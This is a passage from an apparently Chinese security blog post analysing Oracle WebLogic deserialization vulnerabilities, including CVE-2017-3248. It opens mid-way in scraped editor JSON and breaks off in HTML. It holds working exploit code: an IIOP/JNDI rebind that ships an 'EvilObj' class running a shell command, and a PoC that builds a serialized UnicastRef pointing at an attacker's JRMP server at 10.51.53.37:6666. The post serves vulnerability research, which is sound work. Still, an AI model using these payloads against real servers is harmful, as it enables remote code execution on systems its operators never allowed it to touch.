error.&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;V1Nh-1682255943021&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;C14h-1682255943020&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        env.put(\&#34;java.naming.factory.initial\&#34;, \&#34;weblogic.jndi.WLInitialContextFactory\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nyCZ-1682255943023&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9q1L-1682255943022&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        env.put(Context.PROVIDER_URL, rhost);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TuYc-1682255943025&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TsDn-1682255943024&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ozTP-1682255943027&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3QUJ-1682255943026&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Context context = new InitialContext(env);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BtBU-1682255943029&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fJH2-1682255943028&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;o7va-1682255943031&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sdWk-1682255943030&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ClassIdentity classIdentity = new ClassIdentity(EvilObj.class);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;E4CN-1682255943033&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Dlz1-1682255943032&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ClassPool cp = ClassPool.getDefault();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Z1dA-1682255943035&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JoOI-1682255943034&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        CtClass ctClass = cp.get(EvilObj.class.getName());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jWxb-1682255943037&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ogjD-1682255943036&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ctClass.replaceClassName(EvilObj.class.getName(),  EvilObj.class.getName() + \&#34;$\&#34; + classIdentity.getVersion());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xiGW-1682255943039&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZUHw-1682255943038&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        RemoteConstructor constructor = new RemoteConstructor(&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MGnj-1682255943041&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yzEz-1682255943040&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                new ClassDefinition(classIdentity, ctClass.toBytecode()),&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7pj8-1682255943043&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eeGT-1682255943042&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                new Object[] {}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HQb9-1682255943045&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nxRH-1682255943044&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        );&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;C1to-1682255943047&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;afvR-1682255943046&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;// 发送 IIOP 协议数据包&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7vnI-1682255943049&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MHuv-1682255943048&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;73ji-1682255943051&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ouZm-1682255943050&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//        context.bind(\&#34;hello\&#34;,new Object());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FMwy-1682255943053&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;V17K-1682255943052&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        context.rebind(\&#34;hello\&#34;,constructor);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ivnU-1682255943055&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;I3jJ-1682255943054&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;a3PK-1682255943057&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ydv6-1682255943056&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7T3U-1682255943059&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yzzi-1682255943058&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;y4gD-1682255943061&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5r6o-1682255943060&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mExK-1682255943063&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qUVQ-1682255943062&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//EvilObj.class&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;x36I-1682255943065&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WzMc-1682255943064&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public class EvilObj {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Kpfg-1682255943067&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qFs5-1682255943066&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NUTZ-1682255943069&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p4kr-1682255943068&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public EvilObj() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3tfs-1682255943072&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AL0U-1682255943071&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wAou-1682255943074&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SyoT-1682255943073&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            Runtime.getRuntime().exec(\&#34;touch /tmp/success222\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4QZ1-1682255943076&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ny3Z-1682255943075&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (IOException var1) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QDgP-1682255943078&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uWe1-1682255943077&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var1.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WDKo-1682255943080&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MNUs-1682255943079&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fevx-1682255943082&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JtnK-1682255943081&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;878K-1682255943084&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9Pxh-1682255943083&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UnwE-1682255943125&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6657/WEBRESOURCE9ce07096958101d6f97db047ff7e2baf&#34;,&#34;width&#34;:1450,&#34;height&#34;:324},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6657/WEBRESOURCE9ce07096958101d6f97db047ff7e2baf&#34;,&#34;initialSize&#34;:{&#34;width&#34;:1450,&#34;height&#34;:324},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;StCy-1682256146100&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Np60-1682256146101&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WmDe-1682255962802&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LBQI-1682255962801&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;后记&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4H8u-1677143034922&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;f7ZQ-1677143034923&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;参考：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IvOp-1676619430419&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;y2Hc-1676619430420&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;8qmK-1677143044552&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://tttang.com/archive/1800/#toc_cve-2018-3245&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Nan7-1677143044551&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://tttang.com/archive/1800/#toc_cve-2018-3245&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xqKQ-1677143044553&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;k2eS-1676600158799&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NZR3-1676600158798&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;69vI-1676603820085&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://www.anquanke.com/post/id/225137#h3-1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MuFN-1676603820084&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://www.anquanke.com/post/id/225137#h3-1&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;G3M1-1676603820086&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Srp5-1676600158989&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FZxT-1676600158988&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;8cWh-1677056854436&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://xz.aliyun.com/t/2479&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iO6l-1677056854435&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://xz.aliyun.com/t/2479&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ljq2-1677056854437&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OkP5-1677225996335&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sMP0-1677225996333&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;YiXs-1682256308456&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://paper.seebug.org/1069/&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xurZ-1682256308455&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://paper.seebug.org/1069/&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lYBB-1682256308457&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2X0J-1677750417891&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;I2Ph-1677750417888&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;W6oV-1677750418086&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;glcr-1677750418085&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0); color: rgb(0, 0, 0); letter-spacing: normal; text-align: start; white-space: normal;"><p><span style="color: rgb(0, 0, 0);">最近在看一些其他东西，加上工作内容有些变动，原本的Weblogic分析拖了很久才发出来。</span></p><p><span style="color: rgb(0, 0, 0);">时间隔得有点久了，若是文章中有借鉴了其他师傅的内容忘了标注，请指出。</span></p><p><span style="color: rgb(0, 0, 0);">之前做复现时顺手挖了3个洞，oracle只收了一个，并且不回复原因...不知道啥情况，待补丁发布之后再另出文章分析吧。</span></p><p><span style="font-weight: bold;font-size: 28px;color: rgb(0, 0, 0);">正文</span></p><p><span style="font-weight: bold;font-size: 20px;color: rgb(0, 0, 0);">CVE-2017-3248</span></p><p><span style="color: rgb(0, 0, 0);">影响范围</span></p><ul yne-block-type="list" class="list-paddingleft-1"><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;color: rgb(0, 0, 0);"><p><span style="color: rgb(0, 0, 0);">WebLogic 10.3.6.0</span></p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;color: rgb(0, 0, 0);"><p><span style="color: rgb(0, 0, 0);">WebLogic 12.1.3.0</span></p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;color: rgb(0, 0, 0);"><p><span style="color: rgb(0, 0, 0);">WebLogic 12.2.1.0</span></p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;color: rgb(0, 0, 0);"><p><span style="color: rgb(0, 0, 0);">WebLogic 12.2.1.1</span></p></li></ul><p><span style="font-weight: bold;color: rgb(0, 0, 0);">漏洞分析</span></p><p><span style="color: rgb(0, 0, 0);">该漏洞本质上是利用RMI的缺陷，通过建立恶意jrmp请求，反序列化来自jrmp server的数据造成反序列化攻击。</span></p><p><span style="color: rgb(0, 0, 0);">参考网上资料的流程图：</span></p><p><img class="rich_pages wxw-img" data-ratio="1.2098765432098766" style="width: 436px;height: 531px;" data-type="png" data-w="972" src="https://wechat2rss.xlab.app/img-proxy/?k=06fb6b14&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUncM4APhw0MSQFStBp8qxHBiavNSOOuBvr2icHL3spoR0qqI0u4WPMwZg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);">POC：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="swift"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> sun.rmi.server.UnicastRef;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> sun.rmi.transport.LiveRef;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> sun.rmi.transport.tcp.TCPEndpoint;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.ByteArrayOutputStream;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.IOException;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.ObjectOutputStream;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.lang.reflect.Proxy;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.rmi.registry.Registry;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.rmi.server.ObjID;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.rmi.server.RemoteObjectInvocationHandler;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.Base64;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.Random;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">CVE_2017_3248</span> </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__type">Object</span> getObject() {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__type">ObjID</span> id = new <span class="code-snippet__type">ObjID</span>(new <span class="code-snippet__type">Random</span>().nextInt());</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__type">TCPEndpoint</span> tcpEndpoint = new <span class="code-snippet__type">TCPEndpoint</span>(<span class="code-snippet__string">&#34;10.51.53.37&#34;</span>, <span class="code-snippet__number">6666</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__type">UnicastRef</span> unicastRef = new <span class="code-snippet__type">UnicastRef</span>(new <span class="code-snippet__type">LiveRef</span>(id, tcpEndpoint, <span class="code-snippet__literal">false</span>));</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">//经过测试，单独通过UnicastRef也可以触发反序列化，下面两个封装类可有可无</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__type">RemoteObjectInvocationHandler</span> handler = new <span class="code-snippet__type">RemoteObjectInvocationHandler</span>(unicastRef);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__type">Registry</span> registry = (<span class="code-snippet__type">Registry</span>) <span class="code-snippet__type">Proxy</span>.newProxyInstance(<span class="code-snippet__type">CVE_2017_3248</span>.<span class="code-snippet__keyword">class</span>.getClassLoader(), new <span class="code-snippet__type">Class</span>[]{<span class="code-snippet__type">Registry</span>.<span class="code-snippet__keyword">class</span>}, handler);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> registry;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> void main(<span class="code-snippet__type">String</span>[] args) <span class="code-snippet__keyword">throws</span> <span class="code-snippet__type">IOException</span> {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__type">ByteArrayOutputStream</span> fout = new <span class="code-snippet__type">ByteArrayOutputStream</span>();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__type">ObjectOutputStream</span> objectOutputStream = new <span class="code-snippet__type">ObjectOutputStream</span>(fout);</span></code><code><span class="code-snippet_outer">        objectOutputStream.writeObject(getObject());</span></code><code><span class="code-snippet_outer">        objectOutputStream.close();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__type">System</span>.out.<span class="code-snippet__built_in">println</span>(<span class="code-snippet__type">Base64</span>.getEncoder().encodeToString(fout.toByteArray()));</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><span style="color: rgb(0, 0, 0);">在Weblogic的反序列化过程中，通过ObjectStreamClass.readObject() -&gt; RemoteObject.readObject()调用到UnicastRef的readExternal方法：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.6342592592592593" style="width: 2952px;height: 1872px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=a3b419d0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUd79ziaq3quIKswlh8tKAiczNkjAadfQxCc0EJ8gdiaofTHYBzVV5iaZwlg%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.6342592592592593" style="width: 2952px;height: 1872px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=430b4c59&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUeJAFJ9AmdFVYlxiceicKfEsYwic4Qc0tVlYH1bzhO1TSLB2zofFEq3f2A%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);">查看传入的LiveRef对象可以看到我们在payload中放置的TCPEndpoint以及恶意jrmp server地址，DGClient将会使用registerRefs方法注册这个对象：</span></p><p><img data-ratio="0.6342592592592593" style="width: 2952px;height: 1872px;" data-type="png" data-w="1080" 